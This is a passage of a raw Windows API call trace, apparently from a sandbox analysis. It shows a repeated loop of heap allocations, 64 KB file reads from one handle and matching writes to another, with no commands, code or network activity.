GetLastError () returned 0x0 [0193.917] GetCurrentThreadId () returned 0x9b0 [0193.917] GetLastError () returned 0x0 [0193.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265608 | out: hHeap=0x2ad0000) returned 1 [0193.917] GetCurrentThreadId () returned 0x9b0 [0193.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0193.918] GetLastError () returned 0x0 [0193.918] GetLastError () returned 0x0 [0193.918] GetLastError () returned 0x0 [0193.918] GetLastError () returned 0x0 [0193.918] GetCurrentThreadId () returned 0x9b0 [0193.918] GetLastError () returned 0x0 [0193.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0193.919] GetLastError () returned 0x0 [0193.919] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.919] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.921] GetLastError () returned 0x0 [0193.921] GetCurrentThreadId () returned 0x9b0 [0193.921] GetLastError () returned 0x0 [0193.921] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.921] GetLastError () returned 0x0 [0193.921] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.961] GetLastError () returned 0x0 [0193.961] GetCurrentThreadId () returned 0x9b0 [0193.961] GetLastError () returned 0x0 [0193.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.962] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265638 | out: hHeap=0x2ad0000) returned 1 [0193.962] GetCurrentThreadId () returned 0x9b0 [0193.962] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0193.962] GetLastError () returned 0x0 [0193.963] GetLastError () returned 0x0 [0193.963] GetLastError () returned 0x0 [0193.963] GetLastError () returned 0x0 [0193.963] GetCurrentThreadId () returned 0x9b0 [0193.963] GetLastError () returned 0x0 [0193.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.963] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0193.964] GetLastError () returned 0x0 [0193.964] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.967] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.968] GetLastError () returned 0x0 [0193.968] GetCurrentThreadId () returned 0x9b0 [0193.969] GetLastError () returned 0x0 [0193.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.969] GetLastError () returned 0x0 [0193.969] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.969] GetLastError () returned 0x0 [0193.969] GetCurrentThreadId () returned 0x9b0 [0193.969] GetLastError () returned 0x0 [0193.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265518 | out: hHeap=0x2ad0000) returned 1 [0193.970] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0193.970] GetCurrentThreadId () returned 0x9b0 [0193.970] GetLastError () returned 0x0 [0193.971] GetLastError () returned 0x0 [0193.971] GetLastError () returned 0x0 [0193.971] GetLastError () returned 0x0 [0193.971] GetCurrentThreadId () returned 0x9b0 [0193.971] GetLastError () returned 0x0 [0193.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0193.971] GetLastError () returned 0x0 [0193.972] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.972] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.973] GetLastError () returned 0x0 [0193.973] GetCurrentThreadId () returned 0x9b0 [0193.974] GetLastError () returned 0x0 [0193.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.974] GetLastError () returned 0x0 [0193.974] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.975] GetLastError () returned 0x0 [0193.975] GetCurrentThreadId () returned 0x9b0 [0193.975] GetLastError () returned 0x0 [0193.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265528 | out: hHeap=0x2ad0000) returned 1 [0193.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0193.976] GetCurrentThreadId () returned 0x9b0 [0193.976] GetLastError () returned 0x0 [0193.977] GetLastError () returned 0x0 [0193.977] GetLastError () returned 0x0 [0193.977] GetLastError () returned 0x0 [0193.977] GetCurrentThreadId () returned 0x9b0 [0193.977] GetLastError () returned 0x0 [0193.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0193.978] GetLastError () returned 0x0 [0193.978] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.978] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.979] GetLastError () returned 0x0 [0193.979] GetCurrentThreadId () returned 0x9b0 [0193.979] GetLastError () returned 0x0 [0193.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.980] GetLastError () returned 0x0 [0193.980] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.980] GetLastError () returned 0x0 [0193.980] GetCurrentThreadId () returned 0x9b0 [0193.980] GetLastError () returned 0x0 [0193.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654a8 | out: hHeap=0x2ad0000) returned 1 [0193.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0193.981] GetCurrentThreadId () returned 0x9b0 [0193.981] GetLastError () returned 0x0 [0193.981] GetLastError () returned 0x0 [0193.981] GetLastError () returned 0x0 [0193.982] GetLastError () returned 0x0 [0193.982] GetCurrentThreadId () returned 0x9b0 [0193.982] GetLastError () returned 0x0 [0193.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0193.982] GetLastError () returned 0x0 [0193.982] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.983] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.984] GetLastError () returned 0x0 [0193.984] GetCurrentThreadId () returned 0x9b0 [0193.984] GetLastError () returned 0x0 [0193.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.984] GetLastError () returned 0x0 [0193.984] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.987] GetLastError () returned 0x0 [0193.987] GetCurrentThreadId () returned 0x9b0 [0193.987] GetLastError () returned 0x0 [0193.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265628 | out: hHeap=0x2ad0000) returned 1 [0193.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0193.987] GetCurrentThreadId () returned 0x9b0 [0193.988] GetLastError () returned 0x0 [0193.988] GetLastError () returned 0x0 [0193.988] GetLastError () returned 0x0 [0193.988] GetLastError () returned 0x0 [0193.988] GetCurrentThreadId () returned 0x9b0 [0193.988] GetLastError () returned 0x0 [0193.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.989] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0193.989] GetLastError () returned 0x0 [0193.989] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.990] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.991] GetLastError () returned 0x0 [0193.991] GetCurrentThreadId () returned 0x9b0 [0193.991] GetLastError () returned 0x0 [0193.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.992] GetLastError () returned 0x0 [0193.992] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.992] GetLastError () returned 0x0 [0193.992] GetCurrentThreadId () returned 0x9b0 [0193.992] GetLastError () returned 0x0 [0193.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.993] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265518 | out: hHeap=0x2ad0000) returned 1 [0193.993] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0193.993] GetCurrentThreadId () returned 0x9b0 [0193.993] GetLastError () returned 0x0 [0193.993] GetLastError () returned 0x0 [0193.994] GetLastError () returned 0x0 [0193.994] GetLastError () returned 0x0 [0193.994] GetCurrentThreadId () returned 0x9b0 [0193.994] GetLastError () returned 0x0 [0193.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.994] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0193.994] GetLastError () returned 0x0 [0193.995] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.995] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.996] GetLastError () returned 0x0 [0193.996] GetCurrentThreadId () returned 0x9b0 [0193.996] GetLastError () returned 0x0 [0193.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.996] GetLastError () returned 0x0 [0193.997] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.014] GetLastError () returned 0x0 [0194.014] GetCurrentThreadId () returned 0x9b0 [0194.015] GetLastError () returned 0x0 [0194.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0194.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265528 | out: hHeap=0x2ad0000) returned 1 [0194.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0194.015] GetCurrentThreadId () returned 0x9b0 [0194.015] GetLastError () returned 0x0 [0194.016] GetLastError () returned 0x0 [0194.016] GetLastError () returned 0x0 [0194.016] GetLastError () returned 0x0 [0194.016] GetCurrentThreadId () returned 0x9b0 [0194.016] GetLastError () returned 0x0 [0194.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0194.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0194.017] GetLastError () returned 0x0 [0194.017] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.017] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.018] GetLastError () returned 0x0 [0194.018] GetCurrentThreadId () returned 0x9b0 [0194.018] GetLastError () returned 0x0 [0194.019] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0194.019] GetLastError () returned 0x0 [0194.019] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.019] GetLastError () returned 0x0 [0194.019] GetCurrentThreadId () returned 0x9b0 [0194.019] GetLastError () returned 0x0 [0194.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0194.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265598 | out: hHeap=0x2ad0000) returned 1 [0194.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0194.020] GetLastError () returned 0x0 [0194.020] GetLastError () returned 0x0 [0194.021] GetLastError () returned 0x0 [0194.021] GetLastError () returned 0x0 [0194.021] GetCurrentThreadId () returned 0x9b0 [0194.021] GetLastError () returned 0x0 [0194.021] GetCurrentThreadId () returned 0x9b0 [0194.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0194.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0194.021] GetLastError () returned 0x0 [0194.022] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.022] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.023] GetLastError () returned 0x0 [0194.023] GetCurrentThreadId () returned 0x9b0 [0194.023] GetLastError () returned 0x0 [0194.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0194.024] GetLastError () returned 0x0 [0194.024] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.024] GetLastError () returned 0x0 [0194.026] GetCurrentThreadId () returned 0x9b0 [0194.026] GetLastError () returned 0x0 [0194.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0194.026] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265538 | out: hHeap=0x2ad0000) returned 1 [0194.026] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0194.026] GetLastError () returned 0x0 [0194.027] GetLastError () returned 0x0 [0194.027] GetLastError () returned 0x0 [0194.027] GetLastError () returned 0x0 [0194.027] GetCurrentThreadId () returned 0x9b0 [0194.027] GetLastError () returned 0x0 [0194.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0194.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0194.028] GetLastError () returned 0x0 [0194.028] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.029] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.030] GetLastError () returned 0x0 [0194.030] GetCurrentThreadId () returned 0x9b0 [0194.030] GetLastError () returned 0x0 [0194.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0194.031] GetCurrentThreadId () returned 0x9b0 [0194.031] GetLastError () returned 0x0 [0194.031] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.031] GetLastError () returned 0x0 [0194.031] GetCurrentThreadId () returned 0x9b0 [0194.031] GetLastError () returned 0x0 [0194.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0194.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265638 | out: hHeap=0x2ad0000) returned 1 [0194.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0194.032] GetLastError () returned 0x0 [0194.032] GetLastError () returned 0x0 [0194.032] GetLastError () returned 0x0 [0194.033] GetLastError () returned 0x0 [0194.033] GetCurrentThreadId () returned 0x9b0 [0194.033] GetLastError () returned 0x0 [0194.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0194.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0194.033] GetLastError () returned 0x0 [0194.033] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.034] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.035] GetLastError () returned 0x0 [0194.035] GetCurrentThreadId () returned 0x9b0 [0194.035] GetLastError () returned 0x0 [0194.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0194.036] GetLastError () returned 0x0 [0194.036] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.037] GetLastError () returned 0x0 [0194.037] GetCurrentThreadId () returned 0x9b0 [0194.037] GetLastError () returned 0x0 [0194.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0194.037] GetCurrentThreadId () returned 0x9b0 [0194.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655c8 | out: hHeap=0x2ad0000) returned 1 [0194.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0194.038] GetLastError () returned 0x0 [0194.038] GetLastError () returned 0x0 [0194.038] GetLastError () returned 0x0 [0194.038] GetLastError () returned 0x0 [0194.039] GetCurrentThreadId () returned 0x9b0 [0194.039] GetLastError () returned 0x0 [0194.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0194.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0194.039] GetLastError () returned 0x0 [0194.039] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.040] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.041] GetLastError () returned 0x0 [0194.041] GetCurrentThreadId () returned 0x9b0 [0194.041] GetLastError () returned 0x0 [0194.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0194.041] GetLastError () returned 0x0 [0194.042] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.042] GetLastError () returned 0x0 [0194.042] GetCurrentThreadId () returned 0x9b0 [0194.042] GetLastError () returned 0x0 [0194.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0194.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265518 | out: hHeap=0x2ad0000) returned 1 [0194.043] GetCurrentThreadId () returned 0x9b0 [0194.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0194.043] GetLastError () returned 0x0 [0194.043] GetLastError () returned 0x0 [0194.043] GetLastError () returned 0x0 [0194.043] GetLastError () returned 0x0 [0194.044] GetCurrentThreadId () returned 0x9b0 [0194.044] GetLastError () returned 0x0 [0194.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0194.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0194.044] GetLastError () returned 0x0 [0194.044] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.045] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.046] GetLastError () returned 0x0 [0194.046] GetCurrentThreadId () returned 0x9b0 [0194.046] GetLastError () returned 0x0 [0194.046] HeapFree 